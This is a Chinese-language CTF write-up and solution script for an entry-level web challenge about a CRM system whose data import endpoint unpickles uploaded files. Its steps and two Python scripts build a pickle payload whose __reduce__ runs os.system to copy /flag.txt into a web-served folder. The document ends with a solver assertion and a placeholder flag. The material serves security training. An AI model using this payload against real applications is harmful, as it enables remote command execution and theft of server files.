# CRM客户管理 的解题思路

## 题目信息
| 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
| :----: | :------: | :--: | :----------: | :--: | :--: |
| CRM客户管理 | 一家公司开发了一套客户关系管理系统，用于管理客户信息。系统提供了数据导入导出功能，方便在不同环境间迁移客户数据。作为安全测试人员，你需要评估这个系统的安全性。 | WEB | 1小时 | 入门 | 否 |

## 知识点
1. Python pickle 反序列化漏洞
2. pickle.dumps 和 pickle.loads 的安全风险
3. __reduce__ 魔术方法的利用

## 解题步骤

### Step 1: 信息收集

访问题目网站，可以看到一个 CRM 客户管理系统的界面。

系统提供了以下功能：
- 添加客户信息（姓名、邮箱、电话）
- 查看客户列表
- 导出数据（Export Data）
- 导入数据（Import Data）

重点关注导出和导入功能。点击 "Export Data" 页面，发现可以下载 `customers.pkl` 文件。

`.pkl` 是 Python pickle 序列化格式的文件扩展名，这提示我们可能存在反序列化漏洞。

### Step 2: 分析导入功能

点击 "Import Data" 页面，发现可以上传 `.pkl` 文件来导入客户数据。

这意味着服务器会使用 `pickle.load()` 来反序列化我们上传的文件内容。

### Step 3: 构造恶意 pickle payload

Python 的 pickle 模块在反序列化不可信数据时存在安全风险。我们可以通过定义一个包含 `__reduce__` 方法的类来执行任意命令。

创建 exploit 脚本：

```python
import pickle
import requests

url = "http://target:port"

class RCE:
    def __reduce__(self):
        import os
        cmd = 'cat /flag.txt > /app/static/flag.txt'
        return os.system, (cmd,)

payload = pickle.dumps(RCE())
files = {'file': ('customers.pkl', payload)}
r = requests.post(f'{url}/import', files=files)
```

### Step 4: 上传恶意文件并获取 Flag

将构造好的恶意 pickle 文件上传到导入功能。

服务器在反序列化时会执行我们的命令，将 flag 写入到 `/app/static/flag.txt`。

然后访问 `http://target:port/static/flag.txt` 即可获取 Flag。

### Step 5: 完整 exploit 脚本

```python
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re, sys, requests
import pickle

HOST, PORT, FLAG = sys.argv[1:4]

def exp(ip, port):
    url = f"http://{ip}:{port}"
    
    class RCE:
        def __reduce__(self):
            import os
            cmd = 'cat /flag.txt > /app/static/flag.txt'
            return os.system, (cmd,)
    
    payload = pickle.dumps(RCE())
    files = {'file': ('customers.pkl', payload)}
    
    r = requests.post(f'{url}/import', files=files)
    
    flag_response = requests.get(f'{url}/static/flag.txt')
    flag = re.findall('DASCTF{(.*?)}', flag_response.text)[0]
    
    return flag

if __name__ == '__main__':
    assert exp(HOST, PORT) == FLAG
    print("Pass!")
```

## Flag
DASCTF{test12345}

